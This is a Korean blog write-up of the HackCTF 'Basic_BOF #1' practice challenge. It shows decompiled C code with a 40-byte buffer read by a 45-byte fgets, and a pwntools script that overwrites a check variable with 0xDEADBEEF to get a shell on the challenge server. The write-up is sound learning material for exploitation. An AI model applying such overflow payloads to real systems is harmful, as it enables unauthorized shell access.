2021-09-09 · 1

[시스템해킹] HackCTF < Basic_BOF #1 >

securityctf

이 글은 작성된 지 2년이 넘었어요. 내용이 오래됐을 수 있어요.

사이트 :   https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#1


요즘에 블로그를 잘 쓰질 않았는데 다시 한번 작성해 봅니다,,,

사용 프로그램 : ida7.5 pro, python 3.8.10, Ubuntu 20.04.3 LTS

CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [esp+4h] [ebp-34h] BYREF
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 0x4030201;
  fgets(s, 45, stdin);
  printf("\n[buf]: %s\n", s);
  printf("[check] %p\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

위 사이트에서 문제를 다운받고 ida로 디컴파일 해봤을때 나오는 코드입니다.

system("/bin/dash"); 를 실행시키는 것이 목적이겠군요.. 

우리가 입력하는 곳은 s이고 이 s의 범위는 40입니다. 하지만 fgets로는 45까지 입력을 받네요. 여기서 BOF가 터집니다.

일단 v5가 0xDEABEEF면 되는것 같습니다. dummy[40] + 0xDEADBEEF 면 해결될 문제인것 같습니다.

소스코드

더보기

Exploit

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3000)

v5 = p32(0xDEADBEEF)

payload = b''
payload += b'A'*40 + v5

p.send(payload)
p.interactive()

[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)

 [[시스템해킹] Buffer Overflow(BOF)

BUFFER OVERFLOW BOF 설정되어 있는 버퍼의 크기보다 크게 입력을 받을 수 있을 때 생기는 취약점입니다. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..

— nabomhalang.tistory.com


원문: tistory — 2021-09-09 발행, 이 블로그로 이전됨.

댓글

댓글을 삭제할까요?

관련 글

[시스템해킹] HackCTF < Basic_BOF #1 > · 나봄하랑